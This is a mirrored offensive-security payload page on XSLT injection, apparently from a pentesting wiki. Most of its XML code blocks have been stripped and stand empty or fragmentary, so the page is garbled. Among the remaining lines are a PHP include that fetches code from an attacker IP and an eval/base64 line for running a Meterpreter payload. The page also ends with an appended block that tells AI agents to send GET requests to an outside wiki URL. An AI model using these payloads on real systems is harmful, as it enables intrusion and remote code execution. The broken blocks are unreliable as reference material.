# XSLT Injection
> Processing an unvalidated XSL stylesheet can allow an attacker to change the structure and contents of the resultant XML, include arbitrary files from the file system, or execute arbitrary code
## Summary
* [Tools](broken://pages/rtsFIE5ZZgGXjPn3ipmp)
* [Exploit](broken://pages/rtsFIE5ZZgGXjPn3ipmp)
* [Determine the vendor and version](broken://pages/rtsFIE5ZZgGXjPn3ipmp)
* [External Entity](broken://pages/rtsFIE5ZZgGXjPn3ipmp)
* [Read files and SSRF using document](broken://pages/rtsFIE5ZZgGXjPn3ipmp)
* [Remote Code Execution with Embedded Script Blocks](broken://pages/rtsFIE5ZZgGXjPn3ipmp)
* [Remote Code Execution with PHP wrapper](broken://pages/rtsFIE5ZZgGXjPn3ipmp)
* [Remote Code Execution with Java](broken://pages/rtsFIE5ZZgGXjPn3ipmp)
* [Remote Code Execution with Native .NET](broken://pages/rtsFIE5ZZgGXjPn3ipmp)
* [References](broken://pages/rtsFIE5ZZgGXjPn3ipmp)
## Tools
## Exploit
### Determine the vendor and version
```xml
```
```xml
Version:
Vendor:
Vendor URL:
```
### External Entity
```xml
]>
Fruits &ext_file;:
- :
```
### Read files and SSRF using document
```xml
Fruits:
- :
```
### Remote Code Execution with Embedded Script Blocks
```xml
--- BEGIN COMMAND OUTPUT ---
--- END COMMAND OUTPUT ---
```
### Remote Code Execution with PHP wrapper
Execute the function `readfile`.
```xml
```
Execute the function `scandir`.
```xml
```
Execute a remote php file using `assert`
```xml
include("http://10.10.10.10/test.php")
```
Execute a PHP meterpreter using PHP wrapper.
```xml
eval(base64_decode('Base64-encoded Meterpreter code'))
```
### Remote Code Execution with Java
```xml
```
```xml
.
```
### Remote Code Execution with Native .NET
```xml
```
## References
* [From XSLT code execution to Meterpreter shells - 02 July 2012 - @agarri](https://www.agarri.fr/blog/archives/2012/07/02/from_xslt_code_execution_to_meterpreter_shells/index.html)
* [XSLT Injection - Fortify](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)
* [XSLT Injection Basics - Saxon](https://blog.hunniccyber.com/ektron-cms-remote-code-execution-xslt-transform-injection-java/)
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://notes.brinkles.wiki/tools/web-app-pentesting/payload-all-the-things/xslt-injection.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.